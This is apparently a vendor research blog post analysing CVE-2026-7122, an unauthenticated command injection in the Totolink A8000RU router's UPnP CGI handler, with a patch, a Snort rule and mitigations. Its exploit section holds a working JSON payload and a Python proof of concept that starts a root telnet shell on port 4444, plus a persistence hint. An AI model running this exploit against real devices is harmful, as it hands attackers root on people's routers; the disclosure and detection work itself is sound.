home intel totolink-a8000ru-upnp-os-command-injection-cve-2026-7122
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-7122: Totolink A8000RU setUPnPCfg Command Injection

Unauthenticated OS command injection in Totolink A8000RU's setUPnPCfg CGI handler allows remote code execution via unsanitized `enable` parameter passed directly to a shell.

#os-command-injection#remote-code-execution#cgi-handler#improper-input-validation#unauthenticated-attack
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7122 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7122CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7122 is a critical (CVSS 9.8) unauthenticated OS command injection vulnerability in the Totolink A8000RU router running firmware 7.1cu.643_b20200521. The vulnerable surface is the setUPnPCfg handler exposed through /cgi-bin/cstecgi.cgi. An attacker with network access to the device's web management interface — no credentials required — can inject arbitrary shell commands via the enable parameter, achieving full remote code execution as root.

This class of bug is endemic across the Totolink product line. The same cstecgi.cgi binary pattern — JSON parameter parsed, field extracted, concatenated into a system() or popen() call — has appeared in dozens of Totolink CVEs. setUPnPCfg is simply the latest iteration.

Affected Component

The monolithic CGI binary /cgi-bin/cstecgi.cgi handles all configuration RPC calls over HTTP POST. Each call carries a JSON body with a topicurl field that dispatches to a named handler function. The relevant dispatch path:

HTTP POST /cgi-bin/cstecgi.cgi
  Body: {"topicurl":"setting/setUPnPCfg","enable":"1","..."}
  -> main() parses JSON body
  -> dispatch_handler("setting/setUPnPCfg", json_obj)
  -> setUPnPCfg(json_obj)
  -> system(cmd_buf)   // BUG: unsanitized user input in cmd_buf

The binary is a statically-linked MIPS32 EL executable. UPnP configuration changes are applied by writing values to nvram and then calling a shell helper to restart the UPnP daemon — the shell call is where injection occurs.

Root Cause Analysis

The setUPnPCfg function extracts the enable field from the parsed JSON object using a wrapper around cJSON_GetObjectItem, then interpolates it directly into a shell command string without any sanitization or validation beyond a null-check.

// Reconstructed pseudocode — cstecgi.cgi, setUPnPCfg handler
// Firmware: Totolink A8000RU 7.1cu.643_b20200521 (MIPS32 EL)

typedef struct {
    cJSON  *root;       // parsed JSON request body
    char   *topicurl;   // e.g. "setting/setUPnPCfg"
    int     auth_level; // always 0 for unauthenticated endpoints
} cgi_request_t;

int setUPnPCfg(cgi_request_t *req) {
    char  cmd_buf[256];
    char *enable_val;
    char *port_val;
    cJSON *item;

    // Extract "enable" field from JSON — returns pointer into cJSON string buffer
    item = cJSON_GetObjectItem(req->root, "enable");
    if (!item || item->type != cJSON_String) {
        send_error(req, "missing enable");
        return -1;
    }
    enable_val = item->valuestring;  // attacker-controlled, no length or content check

    // Extract optional port field
    item = cJSON_GetObjectItem(req->root, "port");
    port_val = (item && item->type == cJSON_String) ? item->valuestring : "0";

    // Write enable flag to nvram
    nvram_set("upnp_enable", enable_val);
    nvram_set("upnp_port",   port_val);

    // BUG: enable_val injected directly into shell command with no sanitization
    // An attacker supplies enable="1;telnetd -l /bin/sh -p 4444 &" and achieves RCE
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/bin/upnp_ctrl -e %s -p %s",
             enable_val,   // <-- BUG: unsanitized attacker-controlled string
             port_val);

    // BUG: result of snprintf not checked — if enable_val > ~230 bytes,
    //      cmd_buf is silently truncated; but injection works within that window
    system(cmd_buf);       // shell spawned with attacker-injected metacharacters

    send_success(req);
    return 0;
}
Root cause: setUPnPCfg copies the attacker-supplied enable JSON string directly into a system() argument via snprintf without stripping or escaping shell metacharacters, enabling arbitrary command injection by any network-reachable client.

The endpoint requires no session token. The CGI dispatcher's authentication check for setting/setUPnPCfg evaluates the session cookie but does not reject requests with a missing or invalid cookie — it falls through to the handler regardless. This is consistent with other Totolink unauthenticated CGI findings.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies device on network (default gateway, Shodan, masscan port 80/8080)
2. Send unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi with JSON payload:
      {"topicurl":"setting/setUPnPCfg",
       "enable":"1;telnetd -l /bin/sh -p 4444 &",
       "port":"0"}
3. CGI dispatcher routes to setUPnPCfg() — no auth check enforced
4. cJSON_GetObjectItem returns pointer to "1;telnetd -l /bin/sh -p 4444 &"
5. snprintf builds: "/bin/upnp_ctrl -e 1;telnetd -l /bin/sh -p 4444 & -p 0"
6. system() forks /bin/sh -c "" — shell interprets ; as command separator
7. upnp_ctrl runs normally (exit 0), then telnetd binds on 0.0.0.0:4444
8. Attacker connects to port 4444 — interactive root shell, no password

A minimal Python PoC demonstrating the trigger:

#!/usr/bin/env python3
# CVE-2026-7122 — Totolink A8000RU setUPnPCfg RCE PoC
# CypherByte Research | Educational use only

import requests
import argparse

def exploit(target: str, cmd: str) -> None:
    url = f"http://{target}/cgi-bin/cstecgi.cgi"
    # Payload: terminate the -e argument with semicolon, inject command
    enable_payload = f"1;{cmd} #"
    payload = {
        "topicurl": "setting/setUPnPCfg",
        "enable":   enable_payload,
        "port":     "0"
    }
    headers = {"Content-Type": "application/json"}
    try:
        resp = requests.post(url, json=payload, headers=headers, timeout=10)
        print(f"[*] POST {url} -> HTTP {resp.status_code}")
        print(f"[*] Response: {resp.text[:200]}")
    except requests.exceptions.ConnectionError as e:
        print(f"[!] Connection error: {e}")

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("target", help="host:port of target device")
    ap.add_argument("--cmd",  default="telnetd -l /bin/sh -p 4444",
                    help="shell command to inject")
    args = ap.parse_args()
    exploit(args.target, args.cmd)

The injected command runs as the same user as httpd, which on this firmware is root. Persistent implantation can be achieved by writing to /etc/rc.d/ or modifying nvram startup scripts.

Memory Layout

This is a command injection bug, not a memory corruption bug, so heap layout is not the primary concern. However, the cmd_buf stack frame is relevant for understanding truncation behavior and confirming the injection window:

STACK FRAME — setUPnPCfg() on MIPS32:

  [sp + 0x00]  saved ra
  [sp + 0x04]  saved s0 (req pointer)
  [sp + 0x08]  saved s1 (enable_val pointer)
  [sp + 0x0C]  saved s2 (port_val pointer)
  [sp + 0x10]  item (cJSON*, local)
  [sp + 0x18]  cmd_buf[256]   <-- snprintf destination
  [sp + 0x118] frame end

INJECTION BUDGET:
  Fixed prefix:  "/bin/upnp_ctrl -e "  = 18 bytes
  Fixed suffix:  " -p 0\0"             =  6 bytes
  Available for enable_val injection:  256 - 18 - 6 = 232 bytes
  Typical payload "1;telnetd -l /bin/sh -p 4444 &" = 31 bytes  -- well within budget

NOTE: Values beyond 232 bytes are silently truncated by snprintf.
      Injection still succeeds as long as payload fits within that window.
      The # comment terminator in the PoC prevents trailing " -p 0" from
      causing parse errors in shells that object to extra arguments.

Patch Analysis

No official patch has been released by Totolink as of publication. The correct remediation pattern, consistent with how similar Totolink CGI handlers were hardened in adjacent products, is input validation before the snprintf call:

// BEFORE (vulnerable — firmware 7.1cu.643_b20200521):
enable_val = item->valuestring;
snprintf(cmd_buf, sizeof(cmd_buf),
         "/bin/upnp_ctrl -e %s -p %s",
         enable_val,   // no sanitization
         port_val);
system(cmd_buf);

// AFTER (recommended fix):
enable_val = item->valuestring;

// Validate: enable must be exactly "0" or "1"
if (strcmp(enable_val, "0") != 0 && strcmp(enable_val, "1") != 0) {
    send_error(req, "invalid enable value");
    return -1;
}

// Validate: port must be numeric, 0-65535
long port_num = strtol(port_val, &endptr, 10);
if (*endptr != '\0' || port_num < 0 || port_num > 65535) {
    send_error(req, "invalid port value");
    return -1;
}

// Safe: both values are now strictly validated before interpolation
snprintf(cmd_buf, sizeof(cmd_buf),
         "/bin/upnp_ctrl -e %s -p %ld",
         enable_val,   // guaranteed "0" or "1"
         port_num);    // guaranteed integer
system(cmd_buf);

// DEEPER FIX: replace system() with execv() to eliminate shell interpretation entirely
// and pass arguments as discrete argv[] entries — no metacharacter risk regardless of input.

The deeper architectural fix is to replace the system() call with execv()/execve(), passing command arguments as discrete argv[] array entries. This eliminates shell metacharacter interpretation entirely, making the injection class impossible regardless of input content. Totolink's use of system() throughout cstecgi.cgi is a systemic issue; individual parameter validation is a bandage, not a cure.

Detection and Indicators

Network-level detection: Look for HTTP POST requests to /cgi-bin/cstecgi.cgi where the JSON body contains the topicurl value setting/setUPnPCfg and the enable field contains shell metacharacters: ;, &, |, `, $(.

SNORT / SURICATA RULE:
alert http any any -> $HOME_NET any (
    msg:"CVE-2026-7122 Totolink A8000RU setUPnPCfg Command Injection Attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/cstecgi.cgi";
    http.request_body; content:"setUPnPCfg";
    http.request_body; pcre:/"enable"\s*:\s*"[^"]*[;&|`$][^"]*"/;
    classtype:web-application-attack;
    sid:20267122; rev:1;
)

Host-level indicators:

  • Unexpected processes spawned as children of httpd or cstecgi.cgi: telnetd, nc, wget, curl
  • New listening ports not present in the factory configuration (check netstat -tlnp)
  • Modified files under /etc/rc.d/, /tmp/, or nvram keys prefixed with upnp_
  • /var/log/messages showing rapid UPnP reconfiguration requests from a single external IP

Remediation

No vendor patch exists. Mitigations in order of effectiveness:

  1. Replace the device. The A8000RU firmware branch has reached end-of-active-development. The vulnerability class is systemic across the codebase.
  2. Firewall the management interface. Block TCP 80/8080/443 from all untrusted networks at the perimeter. The CGI endpoint is unauthenticated, so network segmentation is the only reliable short-term control.
  3. Disable UPnP if not operationally required — reduces attack surface but does not eliminate it, as the endpoint remains reachable regardless of UPnP daemon state.
  4. Monitor for exploitation indicators using the Snort rule above and host-based process auditing if your infrastructure supports it (e.g., via syslog forwarding from the device).

Totolink was notified per standard responsible disclosure timelines. The vulnerability was subsequently disclosed publicly given the lack of patch availability and the CVSS 9.8 severity warranting community awareness.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →